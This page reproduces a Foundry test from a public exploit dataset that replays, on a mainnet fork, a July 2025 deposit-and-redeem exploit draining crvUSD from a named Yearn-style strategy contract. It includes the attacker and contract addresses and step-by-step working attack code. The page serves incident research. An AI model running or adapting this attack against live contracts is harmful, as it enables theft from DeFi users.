Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/StrategyLlamaLendConvex_exp.sol

Public reproduction file for dataset entry StrategyLlamaLendConvex.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/StrategyLlamaLendConvex_exp.sol103 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 563.12 USDC
8// Attacker : 0x29Bd2258485Da9f4224A99c512e14D4F64d81a50
9// Attack Contract : 0x2114Ab8Bb9b69545A5C0923E63687Ee8CdAd269E
10// Vulnerable Contract : 0x75b7DB3e11138134fe4744553b5e5e3D6546d289
11// Attack Tx : https://etherscan.io/tx/0x2ff7c23dca7e9a86c70004696802cbd37d6a77fc4f3e02522b16617045b764f6
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x75b7DB3e11138134fe4744553b5e5e3D6546d289#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1495
18//
19// Attack summary: A tiny crvUSD deposit into the Yearn strategy was routed into a Curve Lend
20// vault and staked in Convex. Redeeming the minted strategy shares caused the strategy to
21// unstake and redeem far more crvUSD from the Curve Lend vault than the attacker deposited.
22// Root cause: The permissionless strategy deposit/redeem path trusted the underlying Curve Lend
23// vault share accounting and accepted the realized withdrawal loss, letting the redeemer receive
24// hundreds of crvUSD for a dust-sized deposit.
26address constant ATTACKER = 0x29Bd2258485Da9f4224A99c512e14D4F64d81a50;
27address constant TRACE_ATTACK_CONTRACT = 0x2114Ab8Bb9b69545A5C0923E63687Ee8CdAd269E;
28address constant STRATEGY = 0x75b7DB3e11138134fe4744553b5e5e3D6546d289;
29address constant STRATEGY_IMPLEMENTATION = 0xD377919FA87120584B21279a491F82D5265A139c;
30address constant CRVUSD_CONTROLLER = 0xaD444663c6C92B497225c6cE65feE2E7F78BFb86;
31address constant CRVUSD_TOKEN = 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;
32address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
33address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
34address constant CRVUSD_USDC_CURVE_POOL = 0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E;
35address constant USDC_CRVUSD_UNISWAP_POOL = 0x084565106618419274Beed1B4aD4BdFF77C5f90F;
37interface ITokenizedStrategy {
38 function deposit(uint256 assets, address receiver) external returns (uint256 shares);
39 function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);
42interface ICurveStableSwap {
43 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external returns (uint256);
46contract ContractTest is BaseTestWithBalanceLog {
47 function setUp() public {
48 uint256 forkBlock = 22_929_492;
49 vm.createSelectFork("mainnet", forkBlock);
51 fundingToken = USDC_TOKEN;
53 vm.label(ATTACKER, "Attacker EOA");
54 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
55 vm.label(STRATEGY, "StrategyLlamaLendConvex");
56 vm.label(STRATEGY_IMPLEMENTATION, "TokenizedStrategy Implementation");
57 vm.label(CRVUSD_CONTROLLER, "crvUSD Controller");
58 vm.label(CRVUSD_TOKEN, "crvUSD");
59 vm.label(USDC_TOKEN, "USDC");
60 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 Router");
61 vm.label(CRVUSD_USDC_CURVE_POOL, "crvUSD/USDC Curve Pool");
62 vm.label(USDC_CRVUSD_UNISWAP_POOL, "USDC/crvUSD Uniswap V3 Pool");
63 }
65 function testExploit() public balanceLog {
66 uint256 seedUsdc = 124;
67 deal(USDC_TOKEN, address(this), seedUsdc);
69 uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(address(this));
71 // step 1: swap the dust USDC seed into crvUSD, matching the trace's seed funding.
72 IERC20(USDC_TOKEN).approve(UNISWAP_V3_ROUTER, seedUsdc);
73 uint256 crvUsdSeed = Uni_Router_V3(UNISWAP_V3_ROUTER).exactInputSingle(
74 Uni_Router_V3.ExactInputSingleParams({
75 tokenIn: USDC_TOKEN,
76 tokenOut: CRVUSD_TOKEN,
77 fee: 3000,
78 recipient: address(this),
79 deadline: block.timestamp,
80 amountIn: seedUsdc,
81 amountOutMinimum: 0,
82 sqrtPriceLimitX96: 0
83 })
84 );
86 // step 2: deposit the crvUSD into the strategy; the minted shares are derived here.
87 IERC20(CRVUSD_TOKEN).approve(STRATEGY, crvUsdSeed);
88 uint256 strategyShares = ITokenizedStrategy(STRATEGY).deposit(crvUsdSeed, address(this));
90 // step 3: redeem the just-minted strategy shares and receive the inflated crvUSD output.
91 uint256 crvUsdBeforeRedeem = IERC20(CRVUSD_TOKEN).balanceOf(address(this));
92 ITokenizedStrategy(STRATEGY).redeem(strategyShares, address(this), address(this));
93 uint256 crvUsdRedeemed = IERC20(CRVUSD_TOKEN).balanceOf(address(this)) - crvUsdBeforeRedeem;
95 // step 4: convert the crvUSD proceeds back to USDC through the same Curve pool.
96 IERC20(CRVUSD_TOKEN).approve(CRVUSD_USDC_CURVE_POOL, crvUsdRedeemed);
97 ICurveStableSwap(CRVUSD_USDC_CURVE_POOL).exchange(1, 0, crvUsdRedeemed, 0);
99 uint256 usdcAfter = IERC20(USDC_TOKEN).balanceOf(address(this));
100 assertGt(crvUsdRedeemed, crvUsdSeed * 1_000_000);
101 assertGt(usdcAfter - usdcBefore, 500e6);
102 }

Analysis

Dataset entry

Public Foundry test for “StrategyLlamaLendConvex” (2025-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x29bd2258485da9f4224a99c512e14d4f64d81a50

  • Attack Contract

    0x2114ab8bb9b69545a5c0923e63687ee8cdad269e

  • Vulnerable Contract

    0x75b7db3e11138134fe4744553b5e5e3d6546d289

  • Attack Tx

    0x2ff7c23dca7e9a86c70004696802cbd37d6a77fc4f3e02522b16617045b764f6

File record

Name
StrategyLlamaLendConvex
Path
src/test/2025-07/StrategyLlamaLendConvex_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c2b0be454bf0857eee37e0c8738413405ebb0140
Language
Solidity
Size
104 lines
Date
2025-07-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/StrategyLlamaLendConvex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c2b0be454bf0857eee37e0c8738413405ebb0140, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.